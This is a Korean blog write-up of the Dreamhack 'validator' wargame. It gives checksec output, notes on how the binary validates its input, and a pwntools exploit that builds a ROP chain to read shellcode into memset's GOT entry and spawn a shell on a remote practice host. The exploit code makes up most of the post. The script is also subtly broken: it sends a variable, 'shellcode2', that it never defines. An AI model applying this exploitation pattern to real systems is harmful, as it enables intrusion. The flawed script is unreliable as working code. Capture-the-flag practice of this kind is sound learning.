system hacking/dreamhack(드림핵)
validator
blackbearwow
2022. 5. 29. 20:45
해당 워게임은 소스코드가 주어지지 않는다.
$ checksec validator_dist
[*] '/home/juho/Unix/dreamhack/systemHacking/validator/validator_dist'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
partial relro 외에 다른 보호기법은 없다.
str변수에 0x400만큼 read한후 validate([rbp+str], 0x80)을 호출한다.
validate함수로 들어간후 switch to source를 하면
맨처음 10개는 DREAMHACK!이고 나머지는 0x80까지 반복문이다. 해당 문자열을 만족해야 중간에 exit()하지 않는다.
ROPgadget을 사용하여 쉘을 획득한다. pop_rdx가젯도 주기 때문에 __libc_csu_init가젯을 사용하지 않아도 된다.
from pwn import *
import time
import binascii
context.update(arch='amd64', os='linux')
#p = process("./validator_server")
p = remote("host1.dreamhack.games", 11294)
e = ELF("./validator_server")
payload = b"DREAMHACK!"
for i in range(118):
char = (118-i).to_bytes(1, byteorder="little")
payload += char
payload += p64(0)
#ROPgadget --binary validator_dist | grep rdi
pop_rdi = 0x4006f3
pop_rsi_pop_r15 = 0x4006f1
pop_rdx = 0x40057b
memset_got = e.got["memset"]
read_plt = e.plt["read"]
print(hex(memset_got))
print(hex(read_plt))
#read(0, buf, count)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_pop_r15)
payload += p64(memset_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0x50)
payload += p64(read_plt)
payload += p64(e.got["memset"])
shellcode = asm(shellcraft.amd64.linux.sh())
p.send(payload)
time.sleep(0.5)
p.send(shellcode2)
p.interactive()